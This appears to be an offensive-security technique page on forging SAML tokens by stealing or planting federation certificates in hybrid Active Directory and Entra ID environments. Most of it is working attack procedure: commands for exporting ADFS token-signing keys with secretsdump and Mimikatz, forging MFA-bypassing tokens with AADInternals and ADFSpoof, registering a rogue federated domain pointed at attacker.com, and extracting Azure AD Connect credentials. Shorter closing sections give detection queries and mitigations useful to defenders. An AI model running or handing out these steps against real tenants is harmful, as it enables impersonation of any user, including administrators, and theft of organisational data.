| Attribute | Details |
|---|---|
| Technique ID | CERT-FEDERATION-001 |
| MITRE ATT&CK v18.1 | T1649 - Steal or Forge Authentication Certificates |
| Tactic | Credential Access |
| Platforms | Hybrid AD (Windows AD + Entra ID), Active Directory Federation Services (ADFS) |
| Severity | Critical |
| CVE | CVE-2021-26906 (Golden SAML related), Related hybrid identity attacks |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2025, Entra ID all versions, any ADFS deployment |
| Patched In | N/A - Architectural issue, no patch available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Federation Certificate Manipulation involves attackers stealing or forging certificates used in hybrid identity federation to impersonate any user in the organization, bypass multi-factor authentication, and establish persistent access to both on-premises Active Directory and cloud infrastructure. The attack exploits the trust relationship between Entra ID and on-premises identity providers (ADFS or cloud-configured federated domains) to forge SAML assertions that are accepted as valid authentication tokens.
Attack Surface: Active Directory Federation Services (ADFS) token-signing certificates, Entra ID federated domain certificates, PTA (Pass-Through Authentication) agent certificates, Azure AD Connect synchronization credentials, and hybrid identity trust boundaries.
Business Impact: Critical - Complete Hybrid Infrastructure Compromise. An attacker can authenticate as any user in the organization, including Global Admins and Domain Admins, without passwords or MFA. This enables compromise of on-premises Active Directory, all Microsoft 365 workloads, Azure subscriptions, and federated third-party applications. The attack can persist for years through certificate expiration cycles.
Technical Context: Federation enables enterprises to maintain a single identity system bridging on-premises AD and cloud Entra ID. While powerful for user experience, it creates critical trust boundaries vulnerable to certificate compromise. ADFS servers hosting the token-signing certificates are Tier-0 assets but often treated as standard infrastructure, leading to inadequate protections.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3.1 | Ensure Azure AD Hybrid Identity configurations are properly secured |
| CIS Benchmark | 5.3.2 | Ensure ADFS services are hardened and protected as Tier-0 |
| DISA STIG | U-12450 | ADFS must require mutual authentication |
| CISA SCuBA | Identity-4 | Implement certificate revocation and renewal controls |
| NIST 800-53 | SC-13 | Use approved cryptographic algorithms for certificate signing |
| NIST 800-53 | AU-6 | Analyze audit records for unauthorized certificate issuance |
| NIST 800-53 | IA-5 | Enforce strong authentication methods with certificate protection |
| GDPR | Art. 32 | Security of Processing - Protect cryptographic keys and certificates |
| DORA | Art. 9 | Protection and Prevention - Secure authentication mechanisms |
| NIS2 | Art. 21 | Cyber Risk Management - Identity and hybrid infrastructure controls |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights (including ADFS admins) |
| ISO 27001 | A.10.1.1 | Cryptographic controls for federation certificates |
Required Privileges:
Domain.ReadWrite.All permission in Entra IDRequired Access:
Supported Versions:
Tools:
Manual Steps (PowerShell - From Domain-Joined Machine):
# List all ADFS servers in the domain
Get-ADComputer -Filter { Name -like "*adfs*" -or Name -like "*sts*" } | Select-Object Name, OperatingSystem
# Check if ADFS service is running
Get-Service | Where-Object { $_.Name -like "*ADFS*" }
# Resolve ADFS hostname
Resolve-DnsName "adfs.contoso.com"
# Attempt to connect to ADFS web endpoint
$adfsEndpoint = "https://adfs.contoso.com/adfs/services/trust"
Try {
Invoke-WebRequest -Uri $adfsEndpoint -UseBasicParsing
Write-Host "[+] ADFS is accessible"
} Catch {
Write-Host "[-] ADFS not accessible or uses certificate pinning"
}
What to Look For:
Manual Steps (PowerShell - Entra ID connected):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Directory.Read.All"
# Get all federated domains
$federatedDomains = Get-MgDomain | Where-Object { $_.AuthenticationType -eq "Federated" }
Write-Host "[+] Found $($federatedDomains.Count) federated domains:"
foreach ($domain in $federatedDomains) {
Write-Host " Domain: $($domain.Id)"
Write-Host " Auth Type: $($domain.AuthenticationType)"
# Get federation configuration
$fedConfig = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/domains/$($domain.Id)/federationConfiguration"
if ($fedConfig) {
Write-Host " Issuer URI: $($fedConfig.issuerUri)"
Write-Host " Signing Certificate Thumbprint: $($fedConfig.signingCertificate.Substring(0, 20))..."
}
}
What to Look For:
Manual Steps (PowerShell - On ADFS Server with Admin Privileges):
# List all relying parties (connected applications)
Get-AdfsRelyingPartyTrust | Select-Object Identifier, Name, IssuanceTransformRules
# For each relying party, check the issuance rules
Get-AdfsRelyingPartyTrust | ForEach-Object {
Write-Host "Relying Party: $($_.Name)"
Write-Host "Identifier: $($_.Identifier)"
# Get issuance rules
$_.IssuanceTransformRules | ForEach-Object { Write-Host " Rule: $_" }
}
# Check token-signing certificate details
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, Subject, NotAfter
What to Look For:
Objective: Extract the ADFS token-signing certificate’s private key and forge SAML tokens to impersonate any user.
Supported Versions: All ADFS deployments (2016-2025)
Step 1: Compromise ADFS Server (Prerequisite)
This technique requires local admin access to an ADFS server. Common attack paths:
Assumption: You have admin PowerShell access on an ADFS server.
Step 2: Export Token-Signing Certificate with Private Key
Objective: Obtain the certificate used to sign SAML assertions.
Manual Steps (PowerShell - On ADFS Server):
# List all ADFS certificates
Get-AdfsCertificate | Select-Object CertificateType, Thumbprint, Subject, NotAfter
# Get the token-signing certificate
$tokenSigningCert = Get-AdfsCertificate -CertificateType Token-Signing | Select-Object -First 1
Write-Host "Token-Signing Certificate Found:"
Write-Host " Thumbprint: $($tokenSigningCert.Thumbprint)"
Write-Host " Subject: $($tokenSigningCert.Subject)"
Write-Host " Expires: $($tokenSigningCert.NotAfter)"
# Export the certificate (public key)
$certPath = "C:\temp\adfs_token_signing.cer"
$tokenSigningCert | Export-Certificate -FilePath $certPath -Type CERT
Write-Host "[+] Certificate exported to: $certPath"
Expected Output:
Token-Signing Certificate Found:
Thumbprint: ABC123DEF456GHI789JKL012MNO345PQR678STU
Subject: CN=ADFS Signing - contoso.com
Expires: 12/31/2026
[+] Certificate exported to: C:\temp\adfs_token_signing.cer
What This Means:
Step 3: Extract the Private Key from Distributed Key Management (DKM)
Objective: Obtain the private key corresponding to the token-signing certificate.
Method A: Using DCSync (if you have Domain Admin or Replication rights)
# Use Impacket's secretsdump.py on Linux/attacker machine
python3 secretsdump.py -just-dc-user 'ADFS$' contoso.local/DomainAdmin:Password123 -outputfile adfs_dump
# Extract the credentials from the dump
cat adfs_dump.ntds | grep -i ADFS
Method B: Direct DKM Container Access (if local admin on ADFS server)
# Get the DKM container location
$serviceAccount = (Get-AdfsServiceAccount).AccountName
Write-Host "ADFS Service Account: $serviceAccount"
# Query the DKM container (requires Domain Admin credentials)
$dkmSearcher = New-Object DirectoryServices.DirectorySearcher
$dkmSearcher.Filter = "(objectClass=msKP-Container)"
$dkmResults = $dkmSearcher.FindAll()
# The DKM key is stored in the group policy OR in Active Directory
# Detailed extraction requires Mimikatz or similar tools
# Alternative: Use built-in Windows tools
$regPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ADFS\Config"
reg query "$regPath" /v "DkmPath"
Method C: Using Mimikatz (Direct Memory Extraction)
# Execute Mimikatz on ADFS server
mimikatz.exe
# Inside Mimikatz console:
mimikatz # crypto::capi
mimikatz # crypto::certificates /systemstore:CURRENT_USER /store:My /export
# Or export directly from certificate store
mimikatz # cert::export /systemstore:LOCAL_MACHINE /store:MY
Expected Output:
Key export successful
Private key written to: key_AABBCCDD.txt
What This Means:
Step 4: Forge SAML Tokens Using Stolen Certificate
Objective: Create a malicious SAML assertion that Entra ID will trust.
Manual Steps (Using AADInternals PowerShell):
# Import AADInternals
Import-Module AADInternals
# Load the stolen certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 ("C:\temp\adfs_token_signing.pfx", "password")
# Get the target user's ImmutableId (unique AD identifier)
# This is critical for forging the token
$targetUser = "admin@contoso.com"
$immutableId = "ABC123XYZ789" # Obtain from Get-ADUser -Identity admin | Select-Object objectGUID
# Get the ADFS Issuer URI
$issuerUri = "https://adfs.contoso.com/adfs/services/trust"
# Create the forged SAML token
$forgedToken = New-AADIntSAMLToken `
-UserPrincipalName $targetUser `
-ImmutableId $immutableId `
-IssuerUri $issuerUri `
-Certificate $cert `
-BypassMFA $true # Claim that MFA was already completed
Write-Host "[+] Forged SAML Token Created:"
Write-Host $forgedToken.Substring(0, 100) + "..."
Expected Output:
[+] Forged SAML Token Created:
PHNhbWw6QXNzZXJ0aW9uIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0Yz...
What This Means:
Step 5: Authenticate to Microsoft 365 Using Forged SAML Token
Objective: Exchange the forged SAML token for an Entra ID access token.
Manual Steps (Using AADInternals):
# Open the M365 portal as the forged user
Open-AADIntOffice365Portal -IssuerUri "https://adfs.contoso.com/adfs/services/trust" `
-ImmutableId "ABC123XYZ789" `
-UserPrincipalName "admin@contoso.com" `
-ByPassMFA $true
# Alternatively, manually post the SAML assertion to Entra ID
$samlAssertion = $forgedToken
# Get the ADFS login URL
$relyingPartyUrl = "https://login.microsoftonline.com/login.srf"
# Create a form with the SAML assertion
$form = @{
"SAMLResponse" = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($samlAssertion))
"RelayState" = ""
}
# Post to Entra ID
Invoke-WebRequest -Uri $relyingPartyUrl -Method POST -Body $form
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Add a new federated domain to Entra ID with a malicious certificate, enabling token forgery without compromising existing ADFS infrastructure.
Supported Versions: All Entra ID tenants
Prerequisite Permissions:
Domain.ReadWrite.All permissionStep 1: Create a Malicious Root CA Certificate
# Generate a self-signed Root CA (same as CERT-AZURE-001)
openssl genrsa -out ca_key.pem 2048
openssl req -new -x509 -days 3650 -key ca_key.pem -out ca_cert.pem \
-subj "/CN=Fake ADFS Root CA/O=Contoso/C=US"
# Convert to PFX
openssl pkcs12 -export -out ca_cert.pfx -inkey ca_key.pem -in ca_cert.pem \
-password pass:MyPassword123
Step 2: Add New Federated Domain to Entra ID
Manual Steps (PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Domain.ReadWrite.All", "Organization.ReadWrite.All"
# Choose a domain to federate (must be verified in Entra ID)
$domainName = "federated.contoso.com" # Must be a domain you own
# Add the domain (if not already added)
$newDomain = New-MgDomain -Id $domainName
# Verify the domain using DNS (client must do this)
# For testing, you can use a domain you already own
# Now set up the federation configuration for this domain
$federationConfig = @{
displayName = "Contoso Malicious Federation"
federatedIdpMfaBehavior = "acceptIfMfaDoneByFederatedIdp"
isSignedAuthenticationRequestRequired = $false
activeSignInUri = "https://attacker.com/adfs/ls"
passiveSignInUri = "https://attacker.com/adfs/ls"
signOutUri = "https://attacker.com/adfs/ls"
signingCertificate = (Get-Content -Path "C:\temp\ca_cert.pem" -Raw)
preferredAuthenticationProtocol = "wsFed"
}
# Create the federation configuration
$fedConfig = New-MgDomainFederationConfiguration -DomainId $domainName -BodyParameter $federationConfig
Write-Host "[+] Federated domain configured: $domainName"
Write-Host "[+] Certificate Thumbprint: $($fedConfig.signingCertificate.Substring(0, 20))..."
Expected Output:
[+] Federated domain configured: federated.contoso.com
[+] Certificate Thumbprint: -----BEGIN CERTIFICATE-----...
What This Means:
Step 3: Forge SAML Tokens for Hybrid Users
Manual Steps (PowerShell):
# Get a hybrid user (synced from AD) to impersonate
$targetUser = "admin@contoso.com"
# Get their onPremisesImmutableId (required for federated domains)
$user = Get-MgUser -Filter "userPrincipalName eq '$targetUser'"
$immutableId = $user.OnPremisesImmutableId
Write-Host "Target User: $targetUser"
Write-Host "ImmutableId: $immutableId"
# Create forged SAML token (same as METHOD 1, but with our malicious cert)
$maliciousCert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 ("C:\temp\ca_cert.pfx", "MyPassword123")
# Load AADInternals
Import-Module AADInternals
# Forge the token
$forgedToken = New-AADIntSAMLToken `
-UserPrincipalName $targetUser `
-ImmutableId $immutableId `
-IssuerUri "https://attacker.com/adfs/services/trust" `
-Certificate $maliciousCert `
-BypassMFA $true
Write-Host "[+] Forged SAML token created for: $targetUser"
Step 4: Authenticate Using Forged Token
# Use AADInternals to open the portal
Open-AADIntOffice365Portal -IssuerUri "https://attacker.com/adfs/services/trust" `
-ImmutableId $immutableId `
-UserPrincipalName $targetUser `
-BypassMFA $true
# Browser opens and auto-logs in as the Global Admin
What This Means:
Objective: Compromise the Azure AD Connect synchronization account and use it to modify federation configurations.
Prerequisite: Local admin access on Azure AD Connect server (see CERT-AZURE-001 for this)
Step 1: Extract AD Connect Synchronization Account Credentials
Manual Steps (PowerShell - On AD Connect Server):
# Import AADInternals
Import-Module AADInternals
# Extract credentials (requires local admin)
$syncCreds = Get-AADIntSyncCredentials
Write-Host "Azure AD Connector Account: $($syncCreds.AzureADConnectorAccount)"
Write-Host "Azure AD Connector Password: $($syncCreds.AzureADConnectorPassword)"
# If this account has Global Admin or Domain.ReadWrite.All, it can modify federation
Step 2: Use AD Connect Account to Modify Federation Configuration
# Connect to Microsoft Graph using the AD Connect service account
Connect-MgGraph -ClientId "PowerShell" `
-TenantId "contoso.onmicrosoft.com" `
-UserPrincipalName $syncCreds.AzureADConnectorAccount `
-Password (ConvertTo-SecureString $syncCreds.AzureADConnectorPassword -AsPlainText -Force)
# Check if the account has sufficient permissions
Try {
Get-MgDomain -DomainId "contoso.com" -ErrorAction Stop
Write-Host "[+] Account has Directory.Read.All permissions"
} Catch {
Write-Host "[-] Account doesn't have required permissions"
}
# If the account has Domain.ReadWrite.All, you can modify federation
# (See METHOD 2, Step 2 for federation modification code)
Relevant Functions:
New-AADIntSAMLToken - Create forged SAML tokensOpen-AADIntOffice365Portal - Authenticate to M365 using forged tokensGet-AADIntSyncCredentials - Extract Azure AD Connect credentialsGet-AADIntADConnectConfiguration - Enumerate AD Connect settingsPurpose: Forge SAML assertions for ADFS
Usage:
python adfspoof.py --cert /path/to/cert.pfx --password "password" \
--user "admin@contoso.com" --issuer "https://adfs.contoso.com/adfs/services/trust" \
--immutable-id "ABC123XYZ789"
Rule Configuration:
AuditLogsKQL Query:
AuditLogs
| where OperationName in ("Add trusted certificate authority", "Set federation settings", "Add domain federation configuration")
| where Result == "Success"
| project TimeGenerated, InitiatedBy=InitiatedBy.user, OperationName, TargetResources, CallerIpAddress
| summarize FedChanges = count() by InitiatedBy, CallerIpAddress
| where FedChanges > 1
Rule Configuration:
SigninLogsKQL Query:
SigninLogs
| where AuthenticationDetails has "Certificate" OR AuthenticationDetails has "SAML"
| where UserPrincipalName has "sync" OR UserPrincipalName has "adfs" // Unusual service account logins
| project TimeGenerated, UserPrincipalName, IPAddress, AuthenticationDetails, AppDisplayName
Event ID: 33205 (AD FS - Token Signing Certificate Private Key Access)
Manual Configuration Steps:
# Monitor for certificate access attempts
Get-WinEvent -FilterHashtable @{ LogName = 'Application'; ProviderName = 'ADFS' } |
Where-Object { $_.Id -eq 33205 } |
Select-Object TimeCreated, Message
Mitigation 1: Disable Federated Authentication (Migrate to Cloud Sync)
If possible, migrate from ADFS to Azure AD Connect Cloud Sync or Password Hash Synchronization (PHS):
# Option 1: Enable PHS on existing Azure AD Connect
Set-ADSyncAADPasswordSyncConfiguration -Enable $true
# Option 2: Deploy Cloud Sync (new approach)
# Follow: https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/
Mitigation 2: Rotate ADFS Token-Signing Certificate Immediately
If ADFS is still in use, rotate the certificate immediately (twice to invalidate existing tokens):
# On ADFS server
Update-AdfsCertificate -CertificateType Token-Signing
# Wait 5-10 minutes for the new certificate to be propagated
Start-Sleep -Seconds 600
# Rotate again to ensure all old tokens are invalid
Update-AdfsCertificate -CertificateType Token-Signing
Manual Steps (GUI):
Mitigation 3: Harden ADFS Server as Tier-0 Asset
ADFS servers must be protected as Tier-0 (same as Domain Controllers):
# Restrict Network Access
New-NetFirewallRule -DisplayName "ADFS - Restrict Access" `
-Direction Inbound -Action Block -Protocol TCP `
-LocalPort 443 -RemoteAddress 0.0.0.0/0 -Enabled $false # Then manually add trusted networks
# Enable Windows Defender for ADFS
Set-MpPreference -DisableRealtimeMonitoring $false
# Enable auditing
auditpol /set /subcategory:"Detailed File Share" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
Manual Steps:
Mitigation 4: Disable MFA Bypass in Federation Configuration
If using federated authentication, enforce MFA in Entra ID regardless of ADFS claims:
# For each federated domain, disable MFA bypass
Get-MgDomain -Filter "authenticationType eq 'Federated'" | ForEach-Object {
$domainId = $_.Id
$updateBody = @{
federatedIdpMfaBehavior = "rejectMfa" # Require MFA in Entra ID, don't trust ADFS
}
Update-MgDomainFederationConfiguration -DomainId $domainId -BodyParameter $updateBody
}
Mitigation 5: Monitor ADFS Certificate Exports
Audit all certificate-related operations:
# Enable ADFS event logging
Auditpol /set /category:"DS Access" /success:enable /failure:enable
# Monitor for Event ID 33205
Get-WinEvent -FilterHashtable @{
LogName = 'Application'
ProviderName = 'ADFS'
ID = 33205
} | Where-Object { $_.TimeCreated -gt (Get-Date).AddDays(-1) }
Mitigation 6: Implement Conditional Access for Federated Users
Enforce strict access controls:
# Create Conditional Access policy requiring compliant devices
# for federated users
Manual Steps:
On ADFS Server:
In Entra ID:
Network:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-HYBRID-001] Azure AD Connect enumeration | Attacker identifies AD Connect server |
| 2 | Initial Access | [IA-PHISH-001] Phishing attack | ADFS admin receives malicious email |
| 3 | Privilege Escalation | [PE-VALID-006] Credentials theft | Local admin password stolen |
| 4 | Credential Access | [CA-TOKEN-001] Hybrid AD token theft | Azure AD Connect account compromised |
| 5 | Current Step | [CERT-FEDERATION-001] | Federation Certificate Manipulation |
| 6 | Persistence | [Forged SAML tokens] | Attacker maintains access via forged certificates |
| 7 | Impact | [M365 data exfiltration] | All emails, files, and data stolen |
CERT-FEDERATION-001: Federation Certificate Manipulation is a CRITICAL attack technique exploiting hybrid identity trust relationships. Organizations must: